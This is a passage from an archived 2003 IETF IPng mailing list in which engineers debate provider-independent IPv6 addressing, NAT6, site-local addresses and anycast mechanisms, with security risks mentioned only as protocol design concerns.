> Some folks have argued that easy renumbering would eliminate the need
> for enterprises to have provider-independent addressing, but I don't
> agree.  Addresses are stored in many places in the network besides
> the interfaces of routers and hosts, such as access control lists,
> configuration files, .hosts files, DNS configurations, ACL lists, etc.
> In many cases, addresses are stored in nodes on other subnets.  So,
> being able to renumber the interfaces of hosts and routers on a
> particular network or subnet doesn't even solve half of the problem.

There are multiple reasons why people want PI addresses.  Renumbering and
multi-addressing has multiple different models.  Some are easy and some
are very difficult.  We should develop at least the _easy_ solutions
because they are probably useful too.  For now, it's enough to manage the
first 80% of the problem.

Consider four reasons why people might want PI, routable addresses:

- "I don't want to be in problems if my ISP goes bankrupt!"
==> multiple addresses are just fine here (deploy them before the ISP 
goes down, but use only one set of them etc.)

- "I want to be able to change ISP's at will reasonably easily, to keep an 
edge"
==> multiple addresses are fine here too!

- "I want to be able to protect against failures in my link(s) to my ISP 
and problems in our router(s)"
==> multiple addresses can deal with that too, with some added glue!

- "I want to be able to protect against failures in my upstream ISP"
==> tough cookie, no solution here!

Get the picture?  Greedy folks want it all, but actually we _can_ provide
quite a bit of it already!
 
> Choices seem to be:
> 
>          (A) Continue with PA addressing, and accept that enterprises will
>                  use IPv6 NAT to get provider-independence.
>          (B) Allocate PI addresses, and trust that we can determine a
>                  scalable PI routing scheme before we hit route scaling
>                  issues in the IPv6 backbone.

I don't comment on these except that you seem to be making some 
conclusions I don't agree on.  I don't think PA equals IPv6 NAT, not at 
all.  There are solutions there.

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan 27 00:09:35 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0R89Y16022765;
	Mon, 27 Jan 2003 00:09:34 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0R89Ybx022764;
	Mon, 27 Jan 2003 00:09:34 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0R89V16022757
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 00:09:31 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0R89eVK005307
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 00:09:40 -0800 (PST)
Received: from d12lmsgate-4.de.ibm.com (d12lmsgate-4.de.ibm.com [194.196.100.237])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id BAA18096
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 01:09:32 -0700 (MST)
Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23])
	by d12lmsgate-4.de.ibm.com (8.12.3/8.12.3) with ESMTP id h0R89QT2083918
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 09:09:30 +0100
Received: from etzel.zurich.ibm.com (etzel.zurich.ibm.com [9.4.64.140])
	by d12relay02.de.ibm.com (8.12.3/NCO/VER6.4) with SMTP id h0R89PKt129072
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 09:09:26 +0100
Received: from dhcp23-27.zurich.ibm.com by etzel.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03)
          id AA51610 from <brian@hursley.ibm.com>; Mon, 27 Jan 2003 09:09:24 +0100
Message-Id: <3E34E909.FB8ECE0C@hursley.ibm.com>
Date: Mon, 27 Jan 2003 09:08:41 +0100
From: Brian E Carpenter <brian@hursley.ibm.com>
Organization: IBM
X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U)
X-Accept-Language: en,fr,de
Mime-Version: 1.0
To: ipng@sunroof.eng.sun.com
Subject: Re: Let us embrace NAT6, was Re: Proposal for site-local clean-up
References: <200301242053.PAA29733@ss10.danlan.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Dan Lanciani wrote:
> 
> Quality Quorum <qqi@theworld.com> wrote:
> 
> |It seems to me that stability and security of internal enterprise
> |addressing is a very serious requirement.
> 
> And why just enterprise?  The stability of my home network is more important
> to me than the stability of any enterprise network.

We can all agree that they are both important. The main difference is that
you can expect some degree of expert knowledge from the people managing 
enterprise networks, but not from those managing home/small office networks. 
That may be enough to dictate different solutions in the two cases.

However, the ability to deploy innovative new end-to-end applications
in a truly secure way is also a very serious requirement.

In fact, people designing innovative applications (think of Web
Services as an example) are trying to design independently of
addresses (e.g. by using URIs as identifiers), but we end up with
absurd stacks such as SOAP over HTTP over TLS over TCP over NAT over
IP, which succeeds in punching straight through the alleged security
of NAT as well as the alleged security of firewalls - so all the
security has to be done over at the XML level. Pretty silly. If we
didn't have to deal with the likely presence of NAT, things would
be substantially simpler.

> 
> |Frankly, I do not see any way
> |to avoid NAT6.
> 
> Without some other kind of local address space it does seem inevitable.  

What's inevitable is the need for stable address space when running
disconnected, and reliable name-to-locator translation (a.k.a. DNS)
when running connected to the Internet. That doesn't make NAT inevitable.

> It's
> unfortunate that folks are considering ways to make applications NAT-hostile
> to force us to depend on global addresses allocated by ISPs.

Since we rely on network-level locators as end to end identifiers,
end to end applications rely on invariant locators. Nobody is
trying to "make" applications NAT-hostile; NATs simply *are* application-
hostile, and will be until we find an alternative to using newtork-
level locators as identifiers. We've known this for at least 5 years,
but haven't found a way out of it yet.

Unfortunately, the only scalable way we know to assign locators is
to have them assigned hierarchically via the ISPs. 

Nobody is "considering ways" to force "us" to depend on addresses 
allocated by ISPs. It's just the mathematics of scalable connectionless
routing that got us where we are. 

> 
> |Second isssue, which will IMHO force NAT6 is relative scarcity of global
> |routing prefixes. In the current scheme of things we have only 25 bits to
> |express routing topology (the rest is taken by admin and local) and
> |it may prove to be too small.
> 
> Given the hierarchical allocations required by strict address aggregation,
> pretty much any fixed number of bits is too few.  Hierarchical allocations
> are incredibly wasteful because they consume address space exponential in
> the number of providers in the chain.  They also tend to make the structure
> of the market inflexible and require pre-definition of various "types" of
> providers--something that would have been better left to that market.  

That is exactly why the old "TLA/SLA" boundaries defined in RFC 2374
have been dropped, and the registry policy is based on flexible
boundaries now. This issue has been fixed.  
(Of course the /48 and /64 boundaries haven't gone away.)

See http://www.ripe.net/ripe/docs/ipv6policy.html and
http://www.ripe.net/ripe/docs/ipv6-sparse.html

> I
> suspect that regardless of the intent, many consumer-level ISPs will operate
> at the bottom of the chain (likely below the point that the architecture
> considers suitable for ISPs).  This will virtually guarantee an artificial
> address scarcity at the end-user level.  

I really can't see why, given the number of /48 prefixes available
(35,184,372,088,832 to be precise).

> I've noticed that even the optimists
> are no longer talking about /48s for dialup.  Soon I expect that the reduced
> claims of /64s will degenerate into /{128-n}s where n is directly related to
> the "level of service."

There isn't the slightest reason that /48s shouldn't be provided for
dialup, although I will agree that they are likely to have a higher
market price than /64s. However, in the context of home networks
and small office networks, we should be thinking in terms of
always-on connections in any case, where /48s are clearly applicable.

> 
> It's really a shame that IPv6 took the path that it did.  Originally it was
> to be a clean and simple solution to the address shortage.  Fixed-length
> addresses and (supposedly initial) hierarchical allocation were virually
> mandated by the simplicity requirement.  The two alternatives that would
> have provided far greater flexibility (*variable*-length hierarchical
> addresses or fixed-length portable identifiers) appeared too complicated.
> Over the years IPv6 has acquired the every-feature-but-the-kitchen-sink
> syndrome, and the relative complexity of a more powerful addressing scheme
> looks quite low in retrospect--but now it's too late to retrofit one.  At
> the same time we are discovering that merely increasing the (fixed) number
> of address bits while perpetuating the allocation and routing procedures
> that were originally intended as a temporary hack to keep old hardware running
> doesn't offer the panacea we expected.  The problem was never just (or even
> mostly) the number of bits in an address.  It was (and is) a complex combination
> of techincal routing issues and market economics.

There is considerable historical inaccuracy in this paragraph, but the last
two sentences are absolutely true.

> 
> |I hope that by addressing this problem head on early in the process we can
> |do implementations much less painful and better prerforming.
> 
> The problem was addressed early on with site-locals, but now they are being
> restricted into uselessness.  

Well, we haven't changed a thing in the standard yet, and we still
seem to be debating the question.

> I have strong doubts that the discussion of
> globally unique identifiers is anything more than a passing diversion.  Every
> time this has been discussed in the past it was shot down on the grounds that
> it could subvert the all-important MLM^H^H^H hierarchical addressing scheme.

The reason we have never made any progress is that nobody has come
up with a suggestion (except 8+8 or metro exchanges) on how we can 
reconcile provider-independent locators with route aggregation.
And there was certainly no agreement that 8+8 or metro exchanges
were both technically and economically viable. 

    Brian
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan 27 02:30:36 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0RAUZ16023699;
	Mon, 27 Jan 2003 02:30:35 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0RAUZNO023698;
	Mon, 27 Jan 2003 02:30:35 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0RAUW16023691
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 02:30:32 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0RAUgVK029626
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 02:30:42 -0800 (PST)
Received: from ss10.danlan.com (ss10.danlan.com [199.33.144.62])
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA07695
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 02:30:35 -0800 (PST)
Received: (from ddl@localhost)
	by ss10.danlan.com (8.9.3/8.9.3) id FAA07645;
	Mon, 27 Jan 2003 05:30:30 -0500 (EST)
Date: Mon, 27 Jan 2003 05:30:30 -0500 (EST)
From: Dan Lanciani <ipng-incoming@danlan.com>
Message-Id: <200301271030.FAA07645@ss10.danlan.com>
To: ipng@sunroof.eng.sun.com
Subject: Re: Let us embrace NAT6, was Re: Proposal for site-local clean-up
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Brian E Carpenter <brian@hursley.ibm.com> wrote:

|Dan Lanciani wrote:
|> 
|> Quality Quorum <qqi@theworld.com> wrote:
|> 
|> |It seems to me that stability and security of internal enterprise
|> |addressing is a very serious requirement.
|> 
|> And why just enterprise?  The stability of my home network is more important
|> to me than the stability of any enterprise network.
|
|We can all agree that they are both important. The main difference is that
|you can expect some degree of expert knowledge from the people managing 
|enterprise networks, but not from those managing home/small office networks. 
|That may be enough to dictate different solutions in the two cases.

Feel free to dictate different solutions for the cases of competent
and clueless administration, but please don't assume that you can
equate small with clueless and enterprise with competent--especially
if it will be used as a justification to restrict small networks to,
e.g., dynamic addresses.

|> 
|> |Frankly, I do not see any way
|> |to avoid NAT6.
|> 
|> Without some other kind of local address space it does seem inevitable.  
|
|What's inevitable is the need for stable address space when running
|disconnected, and reliable name-to-locator translation (a.k.a. DNS)
|when running connected to the Internet. That doesn't make NAT inevitable.

The need for stable addresses does not go away just because a site is
connected to the internet.  DNS (or similar) will have to be more deeply
integrated than it is now and will have to deal with some sort of push
updates if it is to smooth over the lack of stable addresses.

|> It's
|> unfortunate that folks are considering ways to make applications NAT-hostile
|> to force us to depend on global addresses allocated by ISPs.
|
|Since we rely on network-level locators as end to end identifiers,
|end to end applications rely on invariant locators. Nobody is
|trying to "make" applications NAT-hostile;

I didn't say they were trying; I said they are considering it.  There
have been messages to that effect on this list in the past few weeks.
We can only hope that they were not totally serious.

|Unfortunately, the only scalable way we know to assign locators is
|to have them assigned hierarchically via the ISPs. 
|
|Nobody is "considering ways" to force "us" to depend on addresses 
|allocated by ISPs. It's just the mathematics of scalable connectionless
|routing that got us where we are. 

The mantra of scalability is frequently used to justify the status quo of
hierarchical allocation.  Unfortunately, it's very difficult to discuss
the issue because there are usually unstated assumptions about retaining
specific aspects of the current routing system.

Several years ago I proposed a system of portable identifiers which will scale
at least as well as the DNS can scale.  It was met with similar objections that
we know no other way than ISP-based hierarchical assignment.  This is rather
a catch-22:  if we never consider any alternatives then indeed we can know no
other way.

|> Given the hierarchical allocations required by strict address aggregation,
|> pretty much any fixed number of bits is too few.  Hierarchical allocations
|> are incredibly wasteful because they consume address space exponential in
|> the number of providers in the chain.  They also tend to make the structure
|> of the market inflexible and require pre-definition of various "types" of
|> providers--something that would have been better left to that market.  
|
|That is exactly why the old "TLA/SLA" boundaries defined in RFC 2374
|have been dropped, and the registry policy is based on flexible
|boundaries now. This issue has been fixed.  

It can't be fixed as long as you start with a fixed (no pun intended) number
of bits.  You can move the boundaries around and even let them float a little
to make things look less bleak, but it's really hard to beat that exponential.
Talk about a scalability problem...

|> I
|> suspect that regardless of the intent, many consumer-level ISPs will operate
|> at the bottom of the chain (likely below the point that the architecture
|> considers suitable for ISPs).  This will virtually guarantee an artificial
|> address scarcity at the end-user level.  
|
|I really can't see why, given the number of /48 prefixes available
|(35,184,372,088,832 to be precise).

The problem is that those addresses aren't available to end users, and ISPs
have no obvious incentive to change their current business models.  But this
just takes us back to the discussion that you declared was out of the scope
of this list.  Since you don't want to pursue the specifics of the business
motivations that are going determine the market we will have to agree to
disagree on the likely outcome.

|> I've noticed that even the optimists
|> are no longer talking about /48s for dialup.  Soon I expect that the reduced
|> claims of /64s will degenerate into /{128-n}s where n is directly related to
|> the "level of service."
|
|There isn't the slightest reason that /48s shouldn't be provided for
|dialup, although I will agree that they are likely to have a higher
|market price than /64s.

Generally you can get anything you want if you are willing to pay the market
price.  The question is where in the continuum will we end up?  I'm predicting
that we will stay near the end where we talk about dollars per address per
month.  I suspect you think we will be nearer to the thousands of addresses
per dollar per month mark.  Again we will have to agree to disagree since you
don't want to discuss the business aspects.

|However, in the context of home networks
|and small office networks, we should be thinking in terms of
|always-on connections in any case, where /48s are clearly applicable.

Well, I certainly think /48s are applicable, but that begs the question of
how much we will have to pay to get one and how much extra we will have to
pay to not have it renumbered frequently.  Make those costs too high and we
are back to NAT.

|> It's really a shame that IPv6 took the path that it did.  Originally it was
|> to be a clean and simple solution to the address shortage.  Fixed-length
|> addresses and (supposedly initial) hierarchical allocation were virually
|> mandated by the simplicity requirement.  The two alternatives that would
|> have provided far greater flexibility (*variable*-length hierarchical
|> addresses or fixed-length portable identifiers) appeared too complicated.
|> Over the years IPv6 has acquired the every-feature-but-the-kitchen-sink
|> syndrome, and the relative complexity of a more powerful addressing scheme
|> looks quite low in retrospect--but now it's too late to retrofit one.  At
|> the same time we are discovering that merely increasing the (fixed) number
|> of address bits while perpetuating the allocation and routing procedures
|> that were originally intended as a temporary hack to keep old hardware running
|> doesn't offer the panacea we expected.  The problem was never just (or even
|> mostly) the number of bits in an address.  It was (and is) a complex combination
|> of techincal routing issues and market economics.
|
|There is considerable historical inaccuracy in this paragraph,

Specifics?

|but the last
|two sentences are absolutely true.

|> The problem was addressed early on with site-locals, but now they are being
|> restricted into uselessness.  
|
|Well, we haven't changed a thing in the standard yet, and we still
|seem to be debating the question.

We live in hope, but most of the proponents seem to have given up.

|> I have strong doubts that the discussion of
|> globally unique identifiers is anything more than a passing diversion.  Every
|> time this has been discussed in the past it was shot down on the grounds that
|> it could subvert the all-important MLM^H^H^H hierarchical addressing scheme.
|
|The reason we have never made any progress is that nobody has come
|up with a suggestion (except 8+8 or metro exchanges) on how we can 
|reconcile provider-independent locators with route aggregation.

Umm, I did.  Check the archives around 1999.

|And there was certainly no agreement that 8+8 or metro exchanges
|were both technically and economically viable. 

There has always been a problem in this respect since some people seem to
believe that the value of portable locators is zero or even negative.  This
obviously makes it hard to convince everyone that it is worth even epsilon
cost to implement them.

				Dan Lanciani
				ddl@danlan.*com
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan 27 05:28:58 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0RDSw16024272;
	Mon, 27 Jan 2003 05:28:58 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0RDSwru024271;
	Mon, 27 Jan 2003 05:28:58 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0RDSs16024264
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 05:28:54 -0800 (PST)
Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0RDT3VL015837
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 05:29:03 -0800 (PST)
Received: from ms-smtp-03.southeast.rr.com (ms-smtp-03.southeast.rr.com [24.93.67.84])
	by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA11155
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 06:28:57 -0700 (MST)
Received: from mail4.nc.rr.com (fe4 [24.93.67.51])
	by ms-smtp-03.southeast.rr.com (8.12.5/8.12.2) with ESMTP id h0RDS5i6016903;
	Mon, 27 Jan 2003 08:28:05 -0500 (EST)
Received: from nc.rr.com ([63.109.132.2]) by mail4.nc.rr.com  with Microsoft SMTPSVC(5.5.1877.757.75);
	 Mon, 27 Jan 2003 08:29:57 -0500
Message-ID: <3E353415.5040005@nc.rr.com>
Date: Mon, 27 Jan 2003 08:28:53 -0500
From: Brian Haberman <bkhabs@nc.rr.com>
Organization: No Organization Here
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.2.1) Gecko/20021130
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Pekka Savola <pekkas@netcore.fi>, ipng@sunroof.eng.sun.com
Subject: Re:a few comments on anycast mechanisms
References: <3E351023.5080809@nc.rr.com>
In-Reply-To: <3E351023.5080809@nc.rr.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk


> 
> I happened to read through a few older anycast-related drafts; a few
> comments, to try to spark some discussion on how to go forward with
> anycast.  Last, I bring up one idea how to possibly make TCP+anycast work,
> in relatively simple terms.
> 
> 1) draft-haberman-ipngwg-host-anycast-01.txt (Host-based Anycast using 
> MLD) -- May 2002.
> 
> ==> basically the MLD protocol is used to signal anycast joins/leaves.
> However, critical part which seems to be missing here is "interactions of 
> anycast-MLD with routing", as with multicast.

Correct.  At the time, the intent was to gauge interest in this approach
and then introduce guidelines on how routers should deal with the
information.

> 
> There are a _lot_ of issues there, especially if one anycast address can
> have joins from across multiple routers.  Even more so if from across
> multiple sites/AS's, or more specifically (with some terminology pixie
> dust)  an IGP/iBGP area -- a region where propagating host routes is
> acceptable.  But I'd recommend sticking to a site, the rest is way too
> difficult for now.

Within a site it is no big deal.  Routers with attached anycast members
would inject a host-route for the anycast group into the IGP.

The big issue is with inter-site anycast.  A host route from a foreign
domain (i.e. not the prefix owner) could actually prevent anycast
traffic from reaching the owning domain unless explicit config allowed
for the "leaking" of the host route out of the home domain.

> 
> Thus by far the easiest way to enable anycast on hosts seems to be a
> requirement for them to participate in a routing protocol.  Something like
> BGP is good for this (not ideal: too much weight).  Simpler protocols can
> of course also be used; the most important thing is to pick one which
> allows your neighbor(s) to filter out any advertisements excluding the
> anycast addresses(es) -- so that you can't hose the routing to other than
> the anycast address(es) itself even in the worst case scenario.

One point of feedback we got from Itojun was that he preferred having
the hosts participate in the routing protocol (typically an IGP).  No
one else has really stated an opinion on this work.

> 
> A few points on security:
> 
> 5. Security
> 
>    Unlike multicast, allowing nodes to join arbitrary anycast groups
>    can result in denial-of-service attacks.  Whereas joining a
>    multicast group does not prevent other nodes from seeing the same
>    traffic, joining an anycast group can cause traffic previously seen
>    by another node to be redirected to the newly joining node instead.
> 
> ==> of course, this is more than just DoS.  This is packet capture and a 
> man-in-the-middle attack too.
> 
>    To prevent such attacks, it is expected that routers will employ
>    some filtering mechanism when receiving a Report message containing
>    a non-multicast address.  For example, one policy might be to deny
>    all anycast joins except those that match a configured list of
>    (source address, anycast address) pairs.

Yes.

> 
> ==> the problems with such a measure seems to be that:
>  1) MLD message does not signify other than link-local addresses AFAIR

Not sure what you mean.  Are you referring to the use of link-local
addresses in the IP header?  The group address within the MLD packet
can be of any scope.

>  2) some addresses are easily spoofed.
> 
> Of course, to be complete, some "reverse-path verification" for addresses, 
> if routable unicast, would have to be done.
> 

How so?  If a host joins an anycast group, it could be using any
unicast address.  What is the reverse-path check being done on?

> 
> 
> 
> 
> 
> 
> 2) draft-haberman-ipv6-anycast-rr-00.txt (IPv6 Anycast Binding using 
> Return Routability) -- Oct 2002.
> 
> ==> Mobile IPv6 has progressed a bit and the draft needs a house-keeping 
> update but the concept is clear.

Agreed.  I have not had time to update this work yet.

> 
> However, I'm just not so sure that this is the right, even if seemingly 
> sufficient, approach.  The main concerns from the top of the head seem to 
> be:
> 
>  - the extent of MIPv6 support required to support this (I assume e.g. 
> binding cache is needed)

Yes.

> 
>  - the high number of packets exchanged before commencing with real TCP 
> traffic

What is high?  The figure on page 2/3 shows a total of seven messages
that have to be exchanged in order to establish a TCP session.  These
messages would be needed for MIPv6 as well.

> 
>  - the changes to TCP to run this operation at the reception of a specific
> TCP SYN (perhaps this happens with MIPv6, but my impression has been that
> in most cases, return routability is executed based on MN's own desire to
> do send packets, not respond to some of them)

MIPv6 has to work in either direction.  The use of return routability
here is to signal the mapping of anycast<-->unicast.

> 
>  - the different model of address ownership model; this seem the most
> important.  MIPv6 RR is used to prove that the MN has the right to use
> certain care-of/home address.  These are network-topology -independent, in
> a sense; a part of an autoconfigured/statefully-configured prefix, freely
> configurable by anyone on the link(s).  
> 
> Anycast is different: there the right target to ask for permission to
> certify this binding would appear to be the routing system, or someone in
> charge of specifying the <anycast, unicast> -pair.

Erik and I had a discussion on this point.  The RR messages are meant
to signify to a client that the mapping is valid.  That is, a rogue
couldn't inject someone else's unicast address in the RR message.

If the anycast server can be verified by the first-hop router, then
it could be possible from some indication be sent from the router.
This depends on having some group authentication capability in the
server<-->router signalling.

> 
> It appears that here the link between the routing system is not all that
> strong (e.g. some MLD-like mechanism or injected static host route), but 
> could perhaps be acceptable (note: these kind of assumptions should go in 
> the draft :-).
> 

Agreed.  However, part of the reason for the lack of advancement in this
area has been the lack of interest from other people.  Feedback and
suggestions on these drafts are greatly appreciated.

> 
> 
> 
> 
> 
> 3) that's it.  
> 
> My own, very raw idea for anycast + TCP: a new ICMP message, including the
> seq number (or equivalent protocol-specific information)  of the
> just-received TCP SYN, indicating the unicast address which should be used
> instead of the included anycast address.

My original thought was to signal back the mapping using ICMP.  The
mapping authentication capability of the RR procedure gives a better
level of security than a plain ICMP message.

> 
> Of course, this brings up the problem of easily-guessable TCP seq numbers.  
> This could be mostly remedied by requiring (I wonder if this kind of
> requirement would be sane..) that TCP implementations check their SYN_SENT
> state tables that the packet has actually been sent to the the destination
> very recently -- thus the window where a timing attack could be done would
> be almost eliminated.
> 
> As an option, if the initiator would not believe this binding, some
> stronger mechanisms could be applied (source address comparison, which is
> not really valid except if we apply some new requiremens for anycast usage
> -- like that to be used like this, the addresses must all be from the same
> /64, /48, /32 or whatever *); RR tests; etc.).
> 
> Of course, all of this would appear to be moot if something like IPsec was
> used between the end-points.
> 
> So basically, this looks like a MIPv6 binding update but including the
> no-so-strong TCP seq number and sender TCP state and other data as a quite
> probable sign of validity.
> 
> I'd like to know whether anyone has tried to tread down this path and come
> up with some unsurmountable obstancles...?
> 
> *) or even prefix length configured with some bits set in the anycast
> address, a bit similar to draft-savola-mboned-mcast-rpaddr-00.txt.

Setting up an IPv6 anycast WG has been discussed in the past.  Perhaps
if there is interest, we could pursue it again.

Brian

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan 27 06:34:56 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0REYt16024708;
	Mon, 27 Jan 2003 06:34:55 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0REYtaL024707;
	Mon, 27 Jan 2003 06:34:55 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0REYq16024700
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 06:34:52 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0REZ1VK002614
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 06:35:01 -0800 (PST)
Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11])
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA02115
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 06:34:55 -0800 (PST)
Received: from IDLEWYLDE.windriver.com ([147.11.233.31])
	by mail.wrs.com (8.9.3/8.9.1) with ESMTP id GAA15065;
	Mon, 27 Jan 2003 06:33:50 -0800 (PST)
Message-Id: <5.1.0.14.2.20030127092732.03640900@mail.windriver.com>
X-Sender: mrw@mail.windriver.com
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Mon, 27 Jan 2003 09:29:17 -0500
To: Tim Hartrick <tim@mentat.com>
From: Margaret Wasserman <mrw@windriver.com>
Subject: Re: Enforcing unreachability of site local addresses
Cc: ipng@sunroof.eng.sun.com, ipng-incoming@danlan.com
In-Reply-To: <200301270448.UAA22792@feller.mentat.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk



>There seem to be at least a couple of possible PI schemes that are being or
>have been kicked around in the past.  Dan referenced a solution that he has
>worked on and Tony Hain's geographic scheme, while currently targetted at the
>multi-homing problem, might well offer a solution.  If we are seriously con-
>sidering doing PI allocations then we should probably start the process of
>collecting proposals for how to make it scale.

Personally, I _would_ like to see the IETF seriously pursue PI
allocations.

I'm not sure where to start, though.  Perhaps we should get some
proposals together and hold a BOF?

Margaret



--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan 27 06:44:52 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0REiq16024818;
	Mon, 27 Jan 2003 06:44:52 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0REip2g024817;
	Mon, 27 Jan 2003 06:44:51 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0REim16024810
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 06:44:48 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0REivVL026392
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 06:44:57 -0800 (PST)
Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11])
